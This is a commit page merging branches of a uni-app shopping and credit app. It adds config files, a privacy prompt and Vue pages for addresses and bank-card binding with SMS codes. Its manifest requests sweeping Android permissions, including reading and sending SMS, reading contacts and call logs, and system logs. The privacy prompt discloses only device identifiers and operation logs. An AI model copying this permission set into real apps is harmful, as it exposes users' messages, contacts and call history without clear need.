yfx
2026-03-13 07d0d98b4e0e3a33a64252d29e86ba55500a887d
Merge branch 'master' into dev

# Conflicts:
# pages/agree/agree.vue
2 files modified
43 files added
6992 ■■■■■ changed files
App.vue 115 ●●●●● patch | view | raw | blame | history
androidPrivacy.json 38 ●●●●● patch | view | raw | blame | history
index.html 20 ●●●●● patch | view | raw | blame | history
main.js 82 ●●●●● patch | view | raw | blame | history
manifest.json 185 ●●●●● patch | view | raw | blame | history
package-lock.json 24 ●●●●● patch | view | raw | blame | history
package.json 5 ●●●●● patch | view | raw | blame | history
pages.json 281 ●●●●● patch | view | raw | blame | history
pages/addAddr/addAddr.vue 157 ●●●●● patch | view | raw | blame | history
pages/addBank/addBank.vue 415 ●●●●● patch | view | raw | blame | history
pages/address/address.vue 123 ●●●●● patch | view | raw | blame | history
pages/agree/agree.vue 15 ●●●●● patch | view | raw | blame | history
pages/bank/bank.vue 121 ●●●●● patch | view | raw | blame | history
pages/carts/carts.vue 249 ●●●●● patch | view | raw | blame | history
pages/cates/cates.vue 131 ●●●●● patch | view | raw | blame | history
pages/catesList/catesList.vue 56 ●●●●● patch | view | raw | blame | history
pages/collect/collect.vue 121 ●●●●● patch | view | raw | blame | history
pages/customer/customer.vue 146 ●●●●● patch | view | raw | blame | history
pages/edu/edu.vue 94 ●●●●● patch | view | raw | blame | history
pages/entrust/entrust.vue 367 ●●●●● patch | view | raw | blame | history
pages/esign/esign.vue 25 ●●●●● patch | view | raw | blame | history
pages/face/face.vue 175 ●●●●● patch | view | raw | blame | history
pages/findpass/findpass.vue 159 ●●●●● patch | view | raw | blame | history
pages/ginfo/ginfo.vue 203 ●●●●● patch | view | raw | blame | history
pages/idcard/idcard.vue 331 ●●●●● patch | view | raw | blame | history
pages/index/index.vue 304 ●●●●● patch | view | raw | blame | history
pages/job/job.vue 259 ●●●●● patch | view | raw | blame | history
pages/login/login.vue 218 ●●●●● patch | view | raw | blame | history
pages/logs/logs.vue 47 ●●●●● patch | view | raw | blame | history
pages/my/my.vue 297 ●●●●● patch | view | raw | blame | history
pages/order/order.vue 388 ●●●●● patch | view | raw | blame | history
pages/orderinfo/orderinfo.vue 388 ●●●●● patch | view | raw | blame | history
pages/pays/pays.vue 410 ●●●●● patch | view | raw | blame | history
pages/profile/profile.vue 223 ●●●●● patch | view | raw | blame | history
pages/quanyi/components/addAddress/index.vue 2 ●●● patch | view | raw | blame | history
pages/quanyi/index.vue 8 ●●●● patch | view | raw | blame | history
pages/regist/regist.vue 170 ●●●●● patch | view | raw | blame | history
pages/search/search.vue 79 ●●●●● patch | view | raw | blame | history
pages/wallet/wallet.vue 71 ●●●●● patch | view | raw | blame | history
pages/web/index.vue 35 ●●●●● patch | view | raw | blame | history
static/imgs/ba.png patch | view | raw | blame | history
static/js/vconsole.min.js 10 ●●●●● patch | view | raw | blame | history
uni.promisify.adaptor.js 13 ●●●●● patch | view | raw | blame | history
uni.scss 76 ●●●●● patch | view | raw | blame | history
util.js 356 ●●●●● patch | view | raw | blame | history
App.vue
New file
@@ -0,0 +1,115 @@
<script>
    export default {
        onShow: function() {
            // #ifdef APP-PLUS
            var args= plus.runtime.arguments;
            if(args){
                // 处理args参数,如直达到某新页面等
                console.log('args', args)
                if(args.indexOf('lzzzsc-app') >= 0) {
                    args = args.replace("lzzzsc-app://", "/")
                    return uni.redirectTo({
                        url: args
                    })
                }
            }
            // #endif
        },
        onLaunch: function(options) {
            let t = this
            t.$util.post('Index/getConfig').then(res => {
                console.log('getConfig', res.data)
                if(res.code == 1){
                    try {
                        const token = uni.getStorageSync('lzsc-token');
                        if (!token) {
                            /*
                            uni.redirectTo({
                                url: '/pages/login/login'
                            })
                            return false
                            */
                        }
                    } catch (e) {
                            uni.redirectTo({
                                url: '/pages/login/login'
                            })
                            return false
                    }
                    uni.setStorageSync('Config', JSON.stringify(res.data))
                    // #ifdef APP-PLUS
                    //机型
                    let platform = uni.getSystemInfoSync().platform.toLocaleLowerCase()
                    //console.log('platform', uni.getSystemInfoSync())
                    plus.runtime.getProperty(plus.runtime.appid, widgetInfo => {
                        //下载地址
                        let downUrl = res.data.downUrl
                        //更新标志
                        let updateFlag = false
                        //更新内容
                        let updesc = ''
                        if(platform == 'ios' && parseInt(widgetInfo.versionCode) != parseInt(res.data.ios.code)){
                            updateFlag = !updateFlag
                            updesc = res.data.ios.desc
                        }
                        if(platform == 'android' && parseInt(widgetInfo.versionCode) != parseInt(res.data.android.code)){
                            updateFlag = !updateFlag
                            updesc = res.data.android.desc
                        }
                        if (downUrl && updateFlag) {
                            uni.showModal({
                                showCancel: false,
                                confirmText: '立即更新',
                                title: '温馨提示!',
                                content: updesc || '有最新版本,请更新APP!',
                                success: res => {
                                    if (res.confirm) {
                                        plus.runtime.openURL(downUrl)
                                    }
                                }
                            })
                        }
                    })
                    // #endif
                }
            })
        },
        onHide: function() {
        }
    }
</script>
<style>
    /*每个页面公共css */
    .startBar {
        width: 100%;
        height: var(--status-bar-height);
    }
    .noData{
        width: 100%;
        font-size: 28rpx;
    }
    .noData image{
        width: 120rpx;
        height: 100rpx;
        display: block;
        margin: 100rpx auto 30rpx;
    }
    .noData view{
        width: 100%;
        text-align: center;
        color: #666666;
    }
    .noDataBtn{
        width: 240rpx !important;
        margin: 50rpx auto;
        background-color: #ff7945;
        color: #ffffff !important;
        letter-spacing: 10rpx;
        height: 70rpx;
        line-height: 70rpx;
        border-radius: 50rpx;
    }
</style>
androidPrivacy.json
New file
@@ -0,0 +1,38 @@
{
    "version" : "1",
    "prompt" : "template",
    "title" : "荔枝商城注册协议和隐私政策",
    "message" : "  请你务必审慎阅读、充分理解“注册协议”和“隐私政策”各条款,包括但不限于:为了更好的向你提供服务,我们需要收集你的设备标识、操作日志等信息用于分析、优化应用性能。<br/>  你可阅读<a href=\"https://www.ncmiruo.com/index/?gp=1 \">《注册协议》</a>和<a href=\"https://www.ncmiruo.com/?gp=2 \">《隐私政策》</a>了解详细信息。并且我们会申请读取您的设备信息,以向您提供安全风控服务。同时您应特别注意前述协议中免除或者限制我们责任的条款、对您权利进行限制的条款。如您已详细阅读并同意金喜易购服务协议和隐私政策,请点击【同意并继续】开始使用我们的服务。",
    "buttonAccept" : "同意并继续",
    "buttonRefuse" : "暂不同意",
    "hrefLoader" : "system",
    "backToExit" : "false",
    "second" : {
        "title" : "确认提示",
        "message" : "  进入应用前,你需先同意<a href=\"https://www.ncmiruo.com/?gp=1\">《注册协议》</a>和<a href=\"https://www.ncmiruo.com/?gp=2\">《隐私政策》</a>,否则将退出应用。",
        "buttonAccept" : "同意并继续",
        "buttonRefuse" : "退出应用"
    },
    "disagreeMode" : {
        "support" : false,
        "loadNativePlugins" : false,
        "visitorEntry" : false,
        "showAlways" : false
    },
    "styles" : {
        "backgroundColor" : "#FFFFFF",
        "borderRadius" : "5px",
        "title" : {
            "color" : "#000000"
        },
        "buttonAccept" : {
            "color" : "#000000"
        },
        "buttonRefuse" : {
            "color" : "#666666"
        },
        "buttonVisitor" : {
            "color" : "#00ffff"
        }
    }
}
index.html
New file
@@ -0,0 +1,20 @@
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <script>
      var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') ||
        CSS.supports('top: constant(a)'))
      document.write(
        '<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' +
        (coverSupport ? ', viewport-fit=cover' : '') + '" />')
    </script>
    <title></title>
    <!--preload-links-->
    <!--app-context-->
  </head>
  <body>
    <div id="app"><!--app-html--></div>
    <script type="module" src="/main.js"></script>
  </body>
</html>
main.js
New file
@@ -0,0 +1,82 @@
import App from './App'
// #ifndef VUE3
import Vue from 'vue'
import './uni.promisify.adaptor'
import util from './util.js'
Vue.config.productionTip = false
App.mpType = 'app'
Vue.prototype.$webHost = 'https://rbb98765.zrgy-bbg.com'
if(process.env.NODE_ENV !== 'production' || window.location.host.includes('test') ){
    Vue.prototype.$webHost = 'https://rbb98765.zrgy-bbg.com'
}
Vue.prototype.$util = util
Vue.prototype.$baseUrl = 'https://tmy.xjzbh.com'
Vue.prototype.$bank = [
    '中国工商银行',
    '中国建设银行',
    '中国银行',
    '中国农业银行',
    '中国邮政储蓄银行',
    '中国交通银行',
    '浦东发展银行',
    '中信银行',
    '华夏银行',
    '中国民生银行',
    '广发银行',
    '兴业银行',
    '平安银行',
    '浙商银行',
    '恒丰银行',
    '渤海银行',
    '上海银行',
    '北京银行',
]
Vue.prototype.$job = [
    '个体工商户',
    '公司企业',
    '政府机关',
    '事业单位',
    '社会组织',
    '灵活就业',
]
Vue.prototype.$relation = [
    '父母',
    '配偶',
    '同事',
    '好友',
    '同学',
    '其他',
]
Vue.prototype.$income = [
    '1000-5000',
    '5000-10000',
    '10000-20000',
    '20000-30000',
    '30000以上',
]
// 全局跳转方法
Vue.prototype.$goWebUrl = function(url) {
  // #ifdef APP-PLUS
    plus.runtime.openURL(url)
    // #endif
    // #ifdef H5 || WEB
    this.$refs.popup_agree.open()
    // #endif
}
const app = new Vue({
  ...App
})
app.$mount()
// #endif
// #ifdef VUE3
import { createSSRApp } from 'vue'
export function createApp() {
  const app = createSSRApp(App)
  return {
    app
  }
}
// #endif
manifest.json
New file
@@ -0,0 +1,185 @@
{
    "name" : "齐享购",
    "appid" : "__UNI__3333B1D",
    "description" : "",
    "versionName" : "1.3.6",
    "versionCode" : 136,
    "transformPx" : false,
    /* 5+App特有相关 */
    "app-plus" : {
        "statusbar" : {
            "immersed" : false
        },
        "compatible" : {
            "ignoreVersion" : true
        },
        "usingComponents" : true,
        "nvueStyleCompiler" : "uni-app",
        "compilerVersion" : 3,
        "splashscreen" : {
            "alwaysShowBeforeRender" : true,
            "waiting" : true,
            "autoclose" : true,
            "delay" : 0
        },
        /* 模块配置 */
        "modules" : {
            "Contacts" : {},
            "Camera" : {},
            "Barcode" : {},
            "Share" : {},
            "Payment" : {},
            "Geolocation" : {}
        },
        /* 应用发布信息 */
        "distribute" : {
            /* android打包配置 */
            "android" : {
                "permissions" : [
                    "<uses-feature android:name=\"android.hardware.camera\"/>",
                    "<uses-feature android:name=\"android.hardware.camera.autofocus\"/>",
                    "<uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\"/>",
                    "<uses-permission android:name=\"android.permission.ACCESS_WIFI_STATE\"/>",
                    "<uses-permission android:name=\"android.permission.CALL_PHONE\"/>",
                    "<uses-permission android:name=\"android.permission.CAMERA\"/>",
                    "<uses-permission android:name=\"android.permission.CHANGE_NETWORK_STATE\"/>",
                    "<uses-permission android:name=\"android.permission.CHANGE_WIFI_STATE\"/>",
                    "<uses-permission android:name=\"android.permission.FLASHLIGHT\"/>",
                    "<uses-permission android:name=\"android.permission.GET_ACCOUNTS\"/>",
                    "<uses-permission android:name=\"android.permission.INTERNET\"/>",
                    "<uses-permission android:name=\"android.permission.MOUNT_UNMOUNT_FILESYSTEMS\"/>",
                    "<uses-permission android:name=\"android.permission.READ_CALL_LOG\"/>",
                    "<uses-permission android:name=\"android.permission.READ_CONTACTS\"/>",
                    "<uses-permission android:name=\"android.permission.READ_LOGS\"/>",
                    "<uses-permission android:name=\"android.permission.READ_PHONE_STATE\"/>",
                    "<uses-permission android:name=\"android.permission.READ_SMS\"/>",
                    "<uses-permission android:name=\"android.permission.SEND_RESPOND_VIA_MESSAGE\"/>",
                    "<uses-permission android:name=\"android.permission.SEND_SMS\"/>",
                    "<uses-permission android:name=\"android.permission.USE_FINGERPRINT\"/>",
                    "<uses-permission android:name=\"android.permission.VIBRATE\"/>",
                    "<uses-permission android:name=\"android.permission.WAKE_LOCK\"/>",
                    "<uses-permission android:name=\"android.permission.WRITE_CALL_LOG\"/>",
                    "<uses-permission android:name=\"android.permission.WRITE_CONTACTS\"/>",
                    "<uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"/>",
                    "<uses-permission android:name=\"android.permission.WRITE_SETTINGS\"/>",
                    "<uses-permission android:name=\"android.permission.WRITE_SMS\"/>"
                ],
                "minSdkVersion" : 29,
                "schemes" : "miruo-app",
                "targetSdkVersion" : 30,
                "abiFilters" : [ "arm64-v8a" ]
            },
            /* ios打包配置 */
            "ios" : {
                "privacyDescription" : {
                    "NSPhotoLibraryUsageDescription" : "访问您的照片修改头像、扫描和用于拍照、发送图片,需要获取读写手机(系统提示为访问设备的照片、媒体内容和文件)权限,请允许!",
                    "NSPhotoLibraryAddUsageDescription" : "访问您的照片修改头像、扫描和用于拍照、发送图片,需要获取读写手机(系统提示为访问设备的照片、媒体内容和文件)权限,请允许!",
                    "NSCameraUsageDescription" : "访问您的摄像头 方便用户拍摄上传修改头像 反馈问题"
                },
                "dSYMs" : false,
                "capabilities" : {
                    "entitlements" : {
                        "com.apple.developer.associated-domains" : [ "applinks:www.ncmiruo.com" ]
                    }
                },
                "urltypes" : "miruo-app"
            },
            /* SDK配置 */
            "sdkConfigs" : {
                "share" : {
                    "weixin" : {
                        "appid" : "wxf640033dc64c32e3",
                        "UniversalLinks" : "https://www.ncmiruo.com/uni-universallinks/__UNI__1C9E60B/"
                    }
                },
                "payment" : {
                    "weixin" : {
                        "__platform__" : [ "ios", "android" ],
                        "appid" : "wxf640033dc64c32e3",
                        "UniversalLinks" : "https://www.ncmiruo.com/uni-universallinks/__UNI__1C9E60B/"
                    }
                },
                "geolocation" : {
                    "system" : {
                        "__platform__" : [ "ios", "android" ]
                    }
                }
            },
            "splashscreen" : {
                "useOriginalMsgbox" : true
            },
            "icons" : {
                "android" : {
                    "hdpi" : "unpackage/res/icons/72x72.png",
                    "xhdpi" : "unpackage/res/icons/96x96.png",
                    "xxhdpi" : "unpackage/res/icons/144x144.png",
                    "xxxhdpi" : "unpackage/res/icons/192x192.png"
                },
                "ios" : {
                    "appstore" : "unpackage/res/icons/1024x1024.png",
                    "ipad" : {
                        "app" : "unpackage/res/icons/76x76.png",
                        "app@2x" : "unpackage/res/icons/152x152.png",
                        "notification" : "unpackage/res/icons/20x20.png",
                        "notification@2x" : "unpackage/res/icons/40x40.png",
                        "proapp@2x" : "unpackage/res/icons/167x167.png",
                        "settings" : "unpackage/res/icons/29x29.png",
                        "settings@2x" : "unpackage/res/icons/58x58.png",
                        "spotlight" : "unpackage/res/icons/40x40.png",
                        "spotlight@2x" : "unpackage/res/icons/80x80.png"
                    },
                    "iphone" : {
                        "app@2x" : "unpackage/res/icons/120x120.png",
                        "app@3x" : "unpackage/res/icons/180x180.png",
                        "notification@2x" : "unpackage/res/icons/40x40.png",
                        "notification@3x" : "unpackage/res/icons/60x60.png",
                        "settings@2x" : "unpackage/res/icons/58x58.png",
                        "settings@3x" : "unpackage/res/icons/87x87.png",
                        "spotlight@2x" : "unpackage/res/icons/80x80.png",
                        "spotlight@3x" : "unpackage/res/icons/120x120.png"
                    }
                }
            }
        },
        "nativePlugins" : {
            "DC-WBFaceServiceV2" : {
                "__plugin_info__" : {
                    "name" : "DC-WBFaceServiceV2",
                    "description" : "核身服务",
                    "platforms" : "Android,iOS",
                    "url" : "https://ext.dcloud.net.cn/plugin?id=10378",
                    "android_package_name" : "",
                    "ios_bundle_id" : "com.qxg.app",
                    "isCloud" : true,
                    "bought" : 1,
                    "pid" : "10378",
                    "parameters" : {}
                }
            }
        }
    },
    /* 快应用特有相关 */
    "quickapp" : {},
    /* 小程序特有相关 */
    "mp-weixin" : {
        "appid" : "",
        "setting" : {
            "urlCheck" : false
        },
        "usingComponents" : true
    },
    "mp-alipay" : {
        "usingComponents" : true
    },
    "mp-baidu" : {
        "usingComponents" : true
    },
    "mp-toutiao" : {
        "usingComponents" : true
    },
    "uniStatistics" : {
        "enable" : false
    },
    "vueVersion" : "2",
    "_spaceID" : "mp-85f4a702-1f48-4988-b9b0-b9d8b333fccd"
}
package-lock.json
New file
@@ -0,0 +1,24 @@
{
  "name": "gold",
  "lockfileVersion": 2,
  "requires": true,
  "packages": {
    "": {
      "dependencies": {
        "crypto-js": "^4.2.0"
      }
    },
    "node_modules/crypto-js": {
      "version": "4.2.0",
      "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz",
      "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q=="
    }
  },
  "dependencies": {
    "crypto-js": {
      "version": "4.2.0",
      "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz",
      "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q=="
    }
  }
}
package.json
New file
@@ -0,0 +1,5 @@
{
  "dependencies": {
    "crypto-js": "^4.2.0"
  }
}
pages.json
New file
@@ -0,0 +1,281 @@
{
    "pages": [ //pages数组中第一项表示应用启动页,参考:https://uniapp.dcloud.io/collocation/pages
        {
            "path": "pages/index/index",
            "style": {
                "navigationStyle":"custom",
                "navigationBarTitleText": "齐享购"
            }
        },
        {
            "path" : "pages/cates/cates",
            "style" :
            {
                "navigationBarTitleText": "分类"
            }
        },
        {
            "path" : "pages/my/my",
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "我的",
                "navigationBarBackgroundColor": "#e3b400",
                "app-plus": {
                    "titleNView": false
                }
            }
        },
        {
            "path" : "pages/carts/carts",
            "style" :
            {
                "navigationBarTitleText" : "购物车"
            }
        },
        {
            "path" : "pages/idcard/idcard",
            "style" :
            {
                "navigationBarTitleText" : "实名认证"
            }
        },
        {
            "path" : "pages/login/login",
            "style" :
            {
                "navigationBarTitleText" : "账号登录"
            }
        },
        {
            "path" : "pages/ginfo/ginfo",
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "商品详情"
            }
        },
        {
            "path" : "pages/collect/collect",
            "style" :
            {
                "navigationBarTitleText" : "我的收藏"
            }
        },
        {
            "path" : "pages/address/address",
            "style" :
            {
                "navigationBarTitleText" : "我的地址"
            }
        },
        {
            "path" : "pages/addAddr/addAddr",
            "style" :
            {
                "navigationBarTitleText" : "编辑地址"
            }
        },
        {
            "path" : "pages/pays/pays",
            "style" :
            {
                "navigationBarTitleText" : "确认订单"
            }
        },
        {
            "path" : "pages/bank/bank",
            "style" :
            {
                "navigationBarTitleText" : "银行卡"
            }
        },
        {
            "path" : "pages/addBank/addBank",
            "style" :
            {
                "navigationBarTitleText" : "编辑银行卡"
            }
        },
        {
            "path" : "pages/face/face",
            "style" :
            {
                "navigationBarTitleText" : "人脸认证"
            }
        },
        {
            "path" : "pages/order/order",
            "style" :
            {
                "navigationBarTitleText" : "我的订单"
            }
        },
        {
            "path" : "pages/edu/edu",
            "style" :
            {
                "navigationBarTitleText" : "授信额度"
            }
        },
        {
            "path" : "pages/logs/logs",
            "style" :
            {
                "navigationBarTitleText" : "账单信息"
            }
        },
        {
            "path" : "pages/profile/profile",
            "style" :
            {
                "navigationBarTitleText" : "个人资料"
            }
        },
        {
            "path" : "pages/search/search",
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "商品搜索"
            }
        },
        {
            "path" : "pages/catesList/catesList",
            "style" :
            {
                "navigationBarTitleText" : ""
            }
        },
        {
            "path" : "pages/regist/regist",
            "style" :
            {
                "navigationBarTitleText" : "账号注册"
            }
        },
        {
            "path" : "pages/findpass/findpass",
            "style" :
            {
                "navigationBarTitleText" : "忘记密码"
            }
        },
        {
            "path" : "pages/entrust/entrust",
            "style" :
            {
                "navigationBarTitleText" : "会员服务协议"
            }
        },
        {
            "path" : "pages/agree/agree",
            "style" :
            {
                "navigationBarTitleText" : "委托扣款确认书"
            }
        },
        {
            "path" : "pages/job/job",
            "style" :
            {
                "navigationBarTitleText" : "工作资料"
            }
        },
        {
            "path" : "pages/esign/esign",
            "style" :
            {
                "navigationBarTitleText" : ""
            }
        },
        {
            "path" : "pages/orderinfo/orderinfo",
            "style" :
            {
                "navigationBarTitleText" : "订单详情"
            }
        },
        {
            "path" : "pages/wallet/wallet",
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "钱包"
            }
        },
        {
            "path": "pages/customer/customer",
            "style": {
                "navigationBarTitleText": "联系客服"
            }
        },
        {
            "path": "pages/quanyi/index",
            "style": {
                "navigationBarTitleText": "权益",
                "navigationStyle":"custom"
            }
        },
        {
            "path": "pages/quanyi/add",
            "style": {
                "navigationBarTitleText": "绑卡",
                "navigationStyle":"custom"
            }
        },
        {
            "path": "pages/quanshou/index",
            "style": {
                "navigationBarTitleText": "绑卡",
                "navigationStyle":"custom"
            }
        },
        {
            "path": "pages/web/index",
            "style": {
                "navigationBarTitleText": "绑卡",
                "navigationStyle":"custom"
            }
        }
    ],
    "tabBar": {
        "color": "#252938",
        "selectedColor": "#FF1472",
        "borderStyle": "black",
        "backgroundColor": "#FFFFFF",
        "list": [
            {
                "pagePath": "pages/index/index",
                "iconPath": "static/imgs/tab-1.png",
                "selectedIconPath": "static/imgs/tab-s-1.png",
                "text": "首页"
            },
            {
                "pagePath": "pages/cates/cates",
                "iconPath": "static/imgs/tab-2.png",
                "selectedIconPath": "static/imgs/tab-s-2.png",
                "text": "分类"
            },
            {
                "pagePath": "pages/carts/carts",
                "iconPath": "static/imgs/tab-3.png",
                "selectedIconPath": "static/imgs/tab-s-3.png",
                "text": "购物车"
            },
            {
                "pagePath": "pages/my/my",
                "iconPath": "static/imgs/tab-4.png",
                "selectedIconPath": "static/imgs/tab-s-4.png",
                "text": "我的"
            }
        ]
    },
    "globalStyle": {
        "navigationBarTextStyle": "black",
        "navigationBarTitleText": "齐享购",
        "navigationBarBackgroundColor": "#F8F8F8",
        "backgroundColor": "#F8F8F8"
    },
    "uniIdRouter": {}
}
pages/addAddr/addAddr.vue
New file
@@ -0,0 +1,157 @@
<template>
    <view>
        <view class="addr">
            <view class="addrItem">
                <text class="label">姓名</text>
                <input type="text" v-model="formData.realname" placeholder="请输入姓名">
            </view>
            <view class="addrItem">
                <text class="label">手机号</text>
                <input type="tel" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
            </view>
            <view class="addrItem">
                <text class="label">地区</text>
                <text :class="defArea == '请选择地区' ? 'area' : ''" @tap="areaToggle">{{defArea}}</text>
                <image @click="getArea" src="/static/imgs/address.png"></image>
            </view>
            <view class="addrItem">
                <text class="label">详细地址</text>
                <textarea v-model="formData.addr" placeholder="街道门牌号,楼层,房间号等信息" />
            </view>
            <view class="addrItem">
                <text class="label">设置默认地址</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="addrSave">保存</view>
        <view class="tips">
            <view class="tipsTitle">
                <image src="/static/imgs/notice2.png" ></image>
                <text>温馨提示</text>
            </view>
            <view class="tipsDesc">请填写真实有效的收货地址,以便我们提供方便快捷的收货体验。若因地址有误或无故拒收导致退货,以及货品运送期间要求修改地址,<text>从而产生的退回以及转运费用将由用户自行承担,敬请仔细填写。</text></view>
        </view>
        <cityPicker :column="column" :default-value="defaultArea" :mask-close-able="maskCloseAble" @confirm="confirmArea" @cancel="areaToggle" :visible="visible"/>
    </view>
</template>
<script>
    import cityPicker from '@/uni_modules/piaoyi-cityPicker/components/piaoyi-cityPicker/piaoyi-cityPicker'
    export default {
        components: {
            cityPicker
        },
        data() {
            return {
                column: 3,
                visible: false,
                maskCloseAble: true,
                defArea: '请选择地区',
                defaultArea: ['', '', ''],
                formData: {
                    id: 0,
                    realname: '',
                    phone: '',
                    area: '',
                    addr: '',
                    isdef: 0,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
            }
        },
        onLoad(op) {
            this.formData.id = op.id ? op.id : 0
            this.backUrl = op.backUrl ? op.backUrl : ''
            if(this.formData.id > 0) {
                this.getAddrInfo(this.formData.id)
            }
        },
        methods: {
            getArea () {
                let t = this
                uni.getLocation({
                    type: 'gcj02',
                    geocode: true,
                    success: function (res) {
                        let area = res.address.province + '/' + res.address.city + '/' + res.address.district
                        t.formData.area = area
                        t.defArea = area
                    }
                })
            },
            areaToggle () {
                this.visible = !this.visible
            },
            defChange (e) {
                this.formData.isdef = e.detail.value ? 1 : 0
            },
            confirmArea (e) {
                this.defArea = e.provinceName + '/' + e.cityName + '/' + e.areaName
                this.formData.area = this.defArea
                this.areaToggle()
            },
            getAddrInfo (id) {
                this.$util.post('Address/getAddrInfo', this.formData).then(res => {
                    if(res.code == 1) {
                        this.defArea = res.data.area
                        this.formData = res.data
                    }
                })
            },
            addrSave () {
                let t = this
                if(t.formData.realname == ''){
                    return uni.showToast({
                        title: '请输入姓名',
                        icon: 'error',
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '请输入正确的手机号!',
                        icon: 'error',
                    })
                }
                if(this.formData.area == ''){
                    return uni.showToast({
                        title: '请选择地区',
                        icon: 'error',
                    })
                }
                if(this.formData.addr == ''){
                    return uni.showToast({
                        title: '请输入详细地址',
                        icon: 'error',
                    })
                }
                t.$util.post('Address/addAddr', this.formData).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '保存成功',
                            icon: 'success'
                        })
                        uni.setStorageSync('choose-address', JSON.stringify(res.data))
                        setTimeout(() => {
                            if(t.backUrl != ''){
                                t.$util.goPages(t.backUrl)
                            } else {
                                t.$util.goPages('/pages/address/address')
                            }
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '保存失败',
                            icon: 'error'
                        })
                    }
                })
            },
        }
    }
</script>
<style>
    @import url(/static/css/addAddr.css);
</style>
pages/addBank/addBank.vue
New file
@@ -0,0 +1,415 @@
<template>
    <view>
        <view class="addr">
            <view class="addrItem">
                <text class="label">姓名</text>
                <input type="text" v-model="formData.realname" placeholder="请输入姓名">
            </view>
            <view class="addrItem">
                <text class="label">手机号</text>
                <input type="number" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
            </view>
            <view class="addrItem">
                <text class="label">银行名称</text>
                <picker @change="bankChange" :value="bankIndex" :range="$bank">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="bankIndex == -1">请选择银行</view>
                    <view class="uni-input" v-else>{{$bank[bankIndex]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">银行卡号</text>
                <input type="text" v-model="formData.bankno" placeholder="请输入银行卡号" @blur="banknoChage">
            </view>
            <view class="addrItem" v-if="config && config.bank_open == 1">
                <text class="label">短信码</text>
                <input type="tel" v-model="formData.code" placeholder="请输入短信码">
                <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
                <text class="code" @click="sendCode" v-else>获取验证码</text>
            </view>
            <view class="addrItem">
                <text class="label">设置默认银行</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="bankSave" v-if="type == 2">保存并购买</view>
        <view class="addrBtn" @tap="bankSave" v-else>保存</view>
        <view class="tips">
            <view class="tipsTitle">
                <image src="/static/imgs/notice2.png" ></image>
                <text>温馨提示</text>
            </view>
            <view class="tipsDesc">
                <view>1.需使用本人开户的银行卡,请确保为本人操作。</view>
                <view>2.信息已只能加密,仅用于银行信息认证,隐私信息将严格保密。</view>
            </view>
        </view>
    </view>
</template>
<script>
    import permision from "@/js_sdk/wa-permission/permission.js"
    export default {
        data() {
            return {
                bankIndex: -1,
                formData: {
                    id: 0,
                    realname: '',
                    phone: '',
                    bankname: '',
                    bankno: '',
                    code: '',
                    isdef: 0,
                    orderNo: '',
                    type: 0,
                    over_auth: 0,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
                leftTime: 60,
                type: 0,
                config: null,
            }
        },
        onLoad(op) {
            this.getConfig()
            this.getUserInfo()
            this.formData.id = op.id ? op.id : 0
            this.backUrl = op.backUrl ? op.backUrl : ''
            if(this.formData.id > 0) {
                this.getBankInfo(this.formData.id)
            }
            if(this.backUrl != '') {
                this.formData.over_auth = 1
            }
            //宝付绑卡
            this.type = op.type ? op.type : 0
            if(this.type == 2) {
                this.getDefBank()
            }
        },
        methods: {
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        console.log('config', res.data)
                        t.config = res.data
                    }
                })
            },
            banknoChage(e) {
                let bankno = e.detail.value.replace(/\s/g, "")
                this.formData.bankno = bankno
            },
            bankChange (e) {
                console.log(e)
                this.bankIndex = e.detail.value
                this.formData.bankname = this.$bank[this.bankIndex]
            },
            sendCode () {
                if(this.formData.phone == ''){
                    return uni.showToast({
                        title: '请输入手机号',
                        icon: 'error',
                    })
                }
                if(this.formData.bankno == ''){
                    return uni.showToast({
                        title: '请输入银行卡号',
                        icon: 'error',
                    })
                }
                if (this.leftTime < 60) {
                    return false
                }
                let t = this
                console.log(this.formData)
                this.$util.post('Bank/preBindingCard', {bankno: this.formData.bankno, phone: this.formData.phone, type: this.formData.type}).then(res => {
                    if(res.code == 1){
                        console.log(res)
                        t.countDown()
                        t.formData.orderNo = res.data.orderNo
                        uni.showToast({
                            title:'发送成功',
                            icon:'none'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg,
                            icon: 'none',
                        })
                    }
                })
            },
            countDown() {
                this.leftTime--
                if (this.leftTime > 0) {
                    setTimeout(this.countDown, 1000)
                } else {
                    this.leftTime = 60
                }
            },
            getUserInfo () {
                let t = this
